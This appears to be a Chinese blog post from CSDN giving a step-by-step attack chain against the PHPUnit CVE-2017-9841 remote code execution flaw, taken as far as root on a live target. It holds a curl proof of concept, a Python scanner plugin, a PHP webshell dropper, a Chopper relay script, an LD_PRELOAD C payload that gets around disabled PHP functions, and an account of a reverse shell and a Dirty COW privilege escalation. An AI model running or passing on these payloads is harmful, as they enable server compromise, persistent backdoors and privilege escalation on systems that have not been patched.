eval stdin.php,CVE-2017-9841到root提权

漏洞详情: http://phpunit.vulnbusters.com

简单来说漏洞是出在phpunit,可以使用composer安装,vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php, 这个文件可以造成RCE:

$ curl --data "<?php echo(pi());" http://localhost:8888/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

影响版本: 4.8.19~4.8.27或者5.0.10~5.6.2

漏洞的利用扫描

官网给了一个poc,照着POC写一个POC-T的扫描插件:

#!/usr/bin/env python

# -*-coding: utf-8 -*-

import requests

req_timeout = 10

def poc(url):

if '://' not in url:

url = 'http://' + url

targeturl = url.rstrip('/') + "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"

try:

c = requests.post(targeturl, timeout=req_timeout, data="<?php echo(pi());")

if r'3.14' in c.content:

return url

except Exception, e:

pass

return False

I

写个shell或者菜刀中转脚本

写shell

因为直接是RCE,如果当前目录可写,直接POST这样的body: <?php file_put_contents("a.php", '<?php eval($_REQUEST[11]);?>');即可在当前目录生成一个a.php的shell。如果当前目录不可写,可以使用菜刀中转脚本。

菜刀中转脚本

使用20160622版本的菜刀,可以直接连目标,可以执行命令,但是不可以上传修改文件。

$webshell="";

$data = file_get_contents("php://input");

$data=substr($data,1);

$data=str_replace("%2F",'/',$data);

$data=str_replace("%2B",'+',$data);

$data=str_replace("%3D",'=',$data);

$data= "<?php ". $data;

echo $data;

$opts = array (

'http' => array (

'method' => 'POST',

'header'=> "Content-type: application/x-www-form-urlencoded\r\n" .

"Content-Length: " . strlen($data) . "\r\n",

'content' => $data)

);

$context = stream_context_create($opts);

$html = @file_get_contents($webshell, false, $context);

echo $html;

?>

通过上一步另外写一个shell,碰到的环境情况如下:

CentOS release 6.5 (Final)

2.6.32的内核,可以使用c0w提权

存在/home/wwwroot目录,推测使用了lnmp一键安装包

Linux的lnmp一键安装包把大部分可执行命令的函数都禁用了,但是可以通过LD_PRELOAD来执行命令:

//gcc -c -fPIC hack.c -o hack

//gcc -shared hack -o hack.so

#include

#include

#include

void payload() {

system("echo aaaaa> /tmp/abc.txt");

}

int geteuid() {

if (getenv("LD_PRELOAD") == NULL) { return 0; }

unsetenv("LD_PRELOAD");

payload();

}

使用方法:

putenv("LD_PRELOAD=/var/www/hack.so");

mail("a[@localhost](/user/localhost)","","","","");

?>

由于目标机器不可以执行命令,现在本机编译好之后上传即可,本机编译环境是:

CentOS Linux release 7.4.1708 (Core)

经测试,可以执行命令,但是如果命令存在空格,执行失败,所以这里是用${IFS}来绕过,经测试可用。先后做了如下的提权测试:

使用python来反弹shell到自己服务器,失败

把编译好的dirty上传,然后在hack.c里面修改执行提权,失败

由于每次要执行命令都要先本机编译,然后上传过去略麻烦,回过头发现可以执行python脚本,所以最后改下hack.c:

//hack.c

#include

#include

#include

void payload() {

system("/usr/bin/python${IFS}/tmp/1.py");

}

int geteuid() {

if (getenv("LD_PRELOAD") == NULL) { return 0; }

unsetenv("LD_PRELOAD");

payload();

}

#1.py

import os

os.system("netstat -plant >/tmp/res.txt")

这样子只需要每次修改1.py文件即可执行命令,不用再每次编译so文件。但是这样执行命令有一个缺陷,刷新一下执行命令的php文件,会不停的生成/usr/bin/python${IFS}/tmp/1.py进程,我测试的时候大概有4000多个进程。

然后修改1.py文件反弹到自己的服务器成功。

提权

在目标机器上面,直接使用gcc来编译c0w.c失败。

使用本机编译之后上传,在反弹的shell里面直接执行,提权成功。

根据引用\[2\]和引用\[3\]的信息,CVE-2017-9841PHPUnit远程代码执行漏洞的一个漏洞编号。PHPUnit是PHP语言中最常见的单元测试框架,通常使用composer进行部署。如果在Web可访问目录中存在PHPUnit的编写器模块,就存在远程代码执行漏洞。该漏洞的版本范围是4.8.19至4.8.27和5.0.10至5.6.2。具体的原理是,在/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php文件中,通过eval函数执行了从php://input中获取的代码。然而,目前使用的PHPUnit版本一般为5.7或更高,几乎不存在这个漏洞的可能性。\[2\]\[3\] 如果您想复现CVE-2017-9841漏洞,您需要使用受影响版本的PHPUnit,并将编写器模块放置在Web可访问目录中。然后,您可以通过向php://input发送恶意代码来利用该漏洞。请注意,复现漏洞是违法行为,且可能会对系统造成损害。强烈建议您仅在合法的环境中进行安全测试和研究。 #### 引用[.reference_title] - *1* *3* [phpunit 远程代码执行漏洞(CVE-2017-9841)](https://blog.csdn.net/weixin_46203060/article/details/111489023)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [phpunit 远程代码执行漏洞(CVE-2017-9841)复现](https://blog.csdn.net/csacs/article/details/90640601)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值